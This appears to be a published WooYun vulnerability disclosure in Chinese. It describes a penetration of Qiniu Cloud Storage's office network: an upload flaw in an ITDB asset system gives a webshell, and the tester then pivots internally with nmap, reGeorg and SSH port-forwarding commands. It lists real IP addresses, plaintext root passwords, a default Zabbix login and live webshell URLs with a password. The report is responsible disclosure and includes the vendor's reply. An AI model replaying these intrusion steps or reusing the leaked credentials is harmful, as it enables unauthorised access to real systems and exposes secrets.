当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0212372

漏洞标题:七牛云存储某站漏洞可跨越边界漫游内网

相关厂商:七牛云存储

漏洞作者: 路人甲

提交时间:2016-05-24 16:10

修复时间:2016-07-10 11:20

公开时间:2016-07-10 11:20

漏洞类型:文件上传导致任意代码执行

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-05-24: 细节已通知厂商并且等待厂商处理中
2016-05-26: 厂商已经确认,细节仅向厂商公开
2016-06-05: 细节向核心白帽子及相关领域专家公开
2016-06-15: 细节向普通白帽子公开
2016-06-25: 细节向实习白帽子公开
2016-07-10: 细节向公众公开

简要描述:

七牛云存储某站漏洞可跨越边界漫游内网

详细说明:

七牛的安全总体来说还是不错的,后台开启了双因素(密码+手机动态验证码),VPN也不是很好找,邮箱用的是腾讯企业邮箱。用上个报过的Ldap匿名访问漏洞,拿到的部分用户名进行爆破,却一无所获,只能另寻他法。
0x01------切入点
这里从github里找到一个七牛云上的一个测试账号

https://github.com/landylee1989/faster/blob/ac713f628ba81ef59c8a91c10ca6c2fa437a5815/spec/support/baseapi/acc.rb


1.png


这个账号是QA用的测试帐号,初看貌似没什么用,但在七牛整个防护较为严的情况下,一些细小的琐碎信息却可能成为突破的重要条件,本案例中就是登录IP

222.73.202.226


2.png


猜测可能是七牛的某个出口IP,用Nmap进行全端口扫描后,开放的端口如下

nmap -sV --open -v -p 1-65535 222.73.202.226 -oX 222.73.202.226.xml


3.png


突破口选了Web

ITDB资产管理系统:http://222.73.202.226:9000


看了下是一个叫做ITDB的资产管理应用,果断去官网下载源码。这套系统用的数据库是sqlite,数据库放在了WEB目录下,默认路径是:

http://IP/data/itdb.db


数据库的名字是可以修改的,但管理员并没有修改,且Apache开启了目录浏览,于是直接下载数据库。

4.png


数据库里明文记录了管理员的密码

5.png


0x02------Get Webshell!
后台有个上传文件的功能,是丢给uploadframe_frame.php处理的。

6.png


上传用到的函数是upload

7.png


我们跟进下upload函数

8.png


最后上传到服务器上的文件名是文件属性+上传的文件名+上传的后缀,一个很明显的上传漏洞。
$uploadfile变量定义的位置在/data/files/下,所以webshell地址是:

http://222.73.202.226:9900/data/files/other-ae-e93c.php


上菜刀

9.png


0x03------打入办公网
IP是内网地址,确定是映射出来的。

10.png


然后用reGeorg代理进入内网,速度和稳定性不怎么好,但该服务器的内核较高,没找到对应的提权EXP。决定拿下内网一台服务器作跳板。
在服务器上挂了个脚本,扫描192.168.220.*这个网段的80,8080,443和22端口。
扫Web端口一是为了通过发现的应用,确认此网段处于内网的什么区域(是办公网、DMZ还是生产网?),二是方便获取其他系统的权限。
通过发现的几个应用,推测出这个网段是办公网的一部分

http://192.168.220.5     Freenas,数据存储
http://192.168.220.179 Panabit,流控系统
http://192.168.220.50 brother,打印机


其中Freenas使用了和ITDB一样的密码,在Web界面上开启SSH,准备作跳板机用。

http://192.168.220.5 
root/QQQnnn111


11.png


可问题是,他是FreeBSD的系统-.-,不太熟悉,一些渗透工具也比较难安装,果断开始找其他开放SSH端口的服务器。这里找到5个:

192.168.220.179  root/panaos
192.168.220.182 root/QQQnnn111!
192.168.220.240 root/QQQnnn111
192.168.220.31 root/QQQnnn111
192.168.220.34 root/QQQnnn111


0x04------跨到核心区
通过前期的信息收集,以及内网渗透拿到的一些零碎片段,拼凑了一个七牛内网简陋的拓扑(可能有错)

12.png


我们目前的位置在图上的左下角(192.168.220.*),要跨网段访问生产网。
找了几个生产网的IP(10.*.*.*),traceroute了下,没有路由过去。
到这里其实有多种方法跨到核心生产网:
1. 渗透办公网中的PC机,通过PC找到突破进入生产网的路径。经过探测,PC机网段集中在192.168.200.*和192.168.201.*
2. 找到核心或边界的防火墙和交换机,进一步捋清七牛的拓扑情况,通过这些设备跨网段访问。
3. 利用目前获取到的办公网机器的一些权限,进一步收集敏感信息。
我选择了3
前文中提到了一个Panabit的系统,这是一个流控设备,可以查看用户访问的IP和使用的协议。
先登录这个系统,把443端口通过SSH映射出来

ssh -fCNR 3456:localhost:443 root@RemoteIP


再将本地的0.0.0.0绑定35632端口,这样所有IP都可以访问了

ssh –fCNL *:35632:localhost:3456 localhost


13.png


通过查看日志,发现内网一台机器访问了这个IP

14.png


原来是个Zabbix,而且部署在了国外。使用默认口令admin/zabbix登录成功

15.png


看了下Zabbix Server和Agent的IP段,都是10.20.*.*,应该是生产网了吧,希望没猜错

16.png


本以为这是渗透核心生产网的起点,但当时挂了个reGeorg,想先看下,结果悲剧了,Nginx挂掉了。本来sudo没有密码,可以直接加个用户然后把SSH反弹出来啊(有外网防火墙)。。。
也算是碰了下核心生产网的边缘吧。
这是webshell和tunnel的地址,麻烦删掉。

http://54.183.142.88/ch.php       webshell,密码_3
http://54.183.142.88/tunnel.php reGerog代理


漏洞证明:

见详细说明

修复方案:

1. ITDB这个系统,大部分用户都是弱口令,比如admin和1234,普通用户都可以getshell,建议放内网吧。如果必须放外网,建议清理弱口令,修改现有口令,修改数据库名字,关闭apache的目录浏览
2. 内网弱口令和密码通用问题是业界老大难问题,可看情况整改。
3. 对你们七牛的渗透真是见鬼了,上次挂掉一个洋葱,这次又挂掉了一个Zabbix,感觉有些抱歉。但对你们来说未尝不是一个好事,因为阻止了进一步的渗透。对了,Zabbix服务器的Nginx重启后,改下默认口令吧。

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:18

确认时间:2016-05-26 11:14

厂商回复:

感谢您对七牛的关心,以下是对问题的逐条回复。
1. 测试帐号github泄漏是测试组的问题,目前已经发文批评,正在整改。
2. 222.73.202.226正是我们的办公网络出口地址,不应当进行内部系统映射。目前已经发文批评,办公网络状况正在清查中。
3. 办公网络内部弱密码现象已经发文要求整改。
4. 54.183.142.88是七牛在亚马逊上的测试机房,10.20是亚马逊的内网IP。目前刚刚开始部署,尚未上线使用。监控人员未第一时间修改默认密码,导致被渗透。目前已经要求相关人员第一时间修改密码后继续部署行为。
5. 确认亚马逊测试机房和生产核心网络无法连通。
PS: 经过询问,亚马逊机房的web服务并没有刻意重启过。可能是你在渗透的时候我们的监控组成员也在工作,因此导致了服务的暂不可用。

最新状态:

暂无